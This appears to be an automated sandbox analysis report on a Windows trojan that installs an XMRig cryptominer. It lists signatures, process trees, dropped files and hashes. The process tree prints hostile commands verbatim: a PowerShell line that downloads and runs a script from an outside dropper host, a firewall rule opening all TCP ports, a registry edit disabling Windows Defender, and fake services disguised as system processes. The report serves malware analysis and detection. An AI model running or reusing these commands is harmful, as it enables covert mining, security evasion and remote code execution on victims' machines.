Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/10/2024, 21:32

General

  • Target
    SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
  • Size 3.8MB
  • Sample241029-1dl2cszfmd
  • SHA256 c7eaff9d735d8eef42c73be4c093f7b31cf7d0df18c98d135eb915c13409d077
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://k2ygoods.ydns.eu/power.txt

Signatures

  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Sets file to hidden 1 TTPs 4 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 26 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Modifies data under HKEY_USERS 47 IoCs
  • Modifies registry class 1 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4708
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\debug\m\n.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:948
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Windows\debug\m\c1.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1780
        • C:\Windows\debug\m\lsass.exe
          lsass.exe install "Windows Updata" winlogon.exe
          4⤵
          • Executes dropped EXE
          PID:1132
        • C:\Windows\regedit.exe
          C:\Windows\regedit /s server.reg
          4⤵
          • Runs .reg file with regedit
          PID:4440
        • C:\PerfLogs\Admin\1sass.exe
          C:\PerfLogs\Admin\1sass.exe install "Windows Management" C:\PerfLogs\Admin\csrss.exe
          4⤵
          • Executes dropped EXE
          PID:3572
        • C:\Windows\regedit.exe
          C:\Windows\regedit /s server2.reg
          4⤵
          • Runs .reg file with regedit
          PID:4028
        • C:\Windows\system32\sc.exe
          sc start "Windows Updata"
          4⤵
          • Launches sc.exe
          PID:3580
        • C:\Windows\system32\sc.exe
          sc start "Windows Management"
          4⤵
          • Launches sc.exe
          PID:3968
        • C:\Windows\system32\attrib.exe
          attrib C:\Windows\debug\m +h +a
          4⤵
          • Sets file to hidden
          • Drops file in Windows directory
          • Views/modifies file attributes
          PID:2940
        • C:\Windows\system32\attrib.exe
          attrib C:\Windows\debug\m\*.json +h +a +s +r
          4⤵
          • Sets file to hidden
          • Drops file in Windows directory
          • Views/modifies file attributes
          PID:1252
        • C:\Windows\system32\attrib.exe
          attrib C:\Windows\debug\m\*.exe +h +a +s +r
          4⤵
          • Sets file to hidden
          • Drops file in Windows directory
          • Views/modifies file attributes
          PID:804
        • C:\Windows\system32\attrib.exe
          attrib C:\PerfLogs\Admin\*.exe +h +a +s +r
          4⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:3336
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:1792
  • C:\Windows\debug\m\lsass.exe
    C:\Windows\debug\m\lsass.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3468
    • C:\Windows\debug\m\winlogon.exe
      "winlogon.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4460
  • C:\PerfLogs\Admin\1sass.exe
    C:\PerfLogs\Admin\1sass.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3564
    • C:\PerfLogs\Admin\csrss.exe
      "C:\PerfLogs\Admin\csrss.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2036
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.ydns.eu/power.txt')"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4360
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.ydns.eu/power.txt')
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4484
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
            5⤵
              PID:2496

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_yf42l41a.xoj.ps1

          • Path C:\Windows\Temp\__PSScriptPolicyTest_yf42l41a.xoj.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          c1.bat

          • Path C:\Windows\debug\m\c1.bat
          • Size 867B
          • SHA256 0ab85d2da0f7a9b644d4b7a964a7b1728d1f9eb716b9abe2f1d9c611d7ee4617
          • MD5 SHA1 SHA512

          config.json

          • Path C:\Windows\debug\m\config.json
          • Size 2KB
          • SHA256 200648dbf62cba5a3900f4cb27e1c7a8f37e646f178cf24cc59aa48e71642381
          • MD5 SHA1 SHA512

          csrss.exe

          • Path C:\Windows\debug\m\csrss.exe
          • Size 2.8MB
          • SHA256 1b019e434a871b799def0d148101719f889f49c5ef169291ea766705760f649a
          • MD5 SHA1 SHA512 SSDEEP

          lsass.exe

          • Path C:\Windows\debug\m\lsass.exe
          • Size 323KB
          • SHA256 f689ee9af94b00e9e3f0bb072b34caaf207f32dcb4f5782fc9ca351df9a06c97
          • MD5 SHA1 SHA512 SSDEEP

          n.vbs

          • Path C:\Windows\debug\m\n.vbs
          • Size 211B
          • SHA256 cf8417cdc951eed2c10d424b312a0fbf222321e785e655548d9b054a2d87c273
          • MD5 SHA1 SHA512

          server.reg

          • Path C:\Windows\debug\m\server.reg
          • Size 272B
          • SHA256 f9f8291c7d3f5397e249aa6ec402ebc45d47cf455b25588970382048aa67b985
          • MD5 SHA1 SHA512

          server2.reg

          • Path C:\Windows\debug\m\server2.reg
          • Size 284B
          • SHA256 1b74416ba48010dad0467ce77f8d1044e75be2dd003a18cdad0d6f2112e3b565
          • MD5 SHA1 SHA512

          winlogon.exe

          • Path C:\Windows\debug\m\winlogon.exe
          • Size 5.1MB
          • SHA256 8d70b99cd76de4f8a019654bde6fc2c465d6340830d2b394177fba755440a6c2
          • MD5 SHA1 SHA512 SSDEEP

          memory/4460-42-0x000001C5E4790000-0x000001C5E47B0000-memory.dmp

          memory/4484-43-0x000001BBDF940000-0x000001BBDF962000-memory.dmp

          memory/4484-62-0x000001BBDFE20000-0x000001BBDFE3C000-memory.dmp

          memory/4484-63-0x000001BBDFE40000-0x000001BBDFEF5000-memory.dmp

          memory/4484-64-0x000001BBDF990000-0x000001BBDF99A000-memory.dmp

          memory/4484-65-0x000001BBDFF20000-0x000001BBDFF3C000-memory.dmp

          memory/4484-66-0x000001BBDFF00000-0x000001BBDFF0A000-memory.dmp

          memory/4484-68-0x000001BBDFF10000-0x000001BBDFF18000-memory.dmp

          memory/4484-67-0x000001BBDFF60000-0x000001BBDFF7A000-memory.dmp

          memory/4484-70-0x000001BBDFF50000-0x000001BBDFF5A000-memory.dmp

          memory/4484-69-0x000001BBDFF40000-0x000001BBDFF46000-memory.dmp